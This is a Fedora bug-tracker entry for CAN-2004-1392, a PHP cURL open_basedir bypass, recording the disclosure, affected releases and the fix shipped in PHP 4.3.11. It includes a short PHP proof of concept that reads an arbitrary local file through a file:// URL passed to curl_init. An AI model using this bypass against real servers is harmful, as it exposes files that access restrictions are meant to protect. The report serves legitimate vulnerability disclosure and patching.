Bug 147811

Summary: CAN-2004-1392 php curl open_basedir bypass
Product: [Fedora] Fedora Reporter: Josh Bressers <bressers>
Component: phpAssignee: Joe Orton <jorton>
Status: CLOSED ERRATA QA Contact: David Lawrence <dkl>
Severity: low Docs Contact:
Priority: medium    
Version: 3CC: leonard-rh-bugzilla
Target Milestone: ---Keywords: Security
Target Release: ---   
Hardware: All   
OS: Linux   
Whiteboard: impact=low,public=20041215
Fixed In Version: 4.3.11-2.4 Doc Type: Bug Fix
Doc Text:
Story Points: ---
Clone Of: Environment:
Last Closed: 2005-04-19 07:54:36 UTC Type: ---
Regression: --- Mount Type: ---
Documentation: --- CRM:
Verified Versions: Category: ---
oVirt Team: --- RHEL 7.3 requirements from Atomic Host:
Cloudforms Team: --- Target Upstream Version:
Embargoed:

Description Josh Bressers 2005-02-11 16:12:14 UTC
*** This bug has been split off bug 147808 ***

------- Original comment by Josh Bressers (Security Response Team) on 2005.02.11
11:02 -------

PHP 4.0 with cURL functions allows remote attackers to bypass the open_basedir
setting and read arbitrary files via a file: URL argument to the curl_init function.

You can verify this issue with this simple php example.

<?php
$ch = curl_init("file:///etc/parla");
$file=curl_exec($ch);
echo $file
?>



The fix for this issue is attachment 110975 [details]

Comment 1 Josh Bressers 2005-02-11 16:12:53 UTC
This issue should also effect FC2

Comment 2 Leonard den Ottolander 2005-03-10 14:47:27 UTC
Should also affect RHEL 2.1 and 3.


Comment 3 Joe Orton 2005-04-19 07:54:36 UTC
Fixed in 4.3.11 update, thanks for the report:

http://www.redhat.com/archives/fedora-announce-list/2005-April/msg00033.html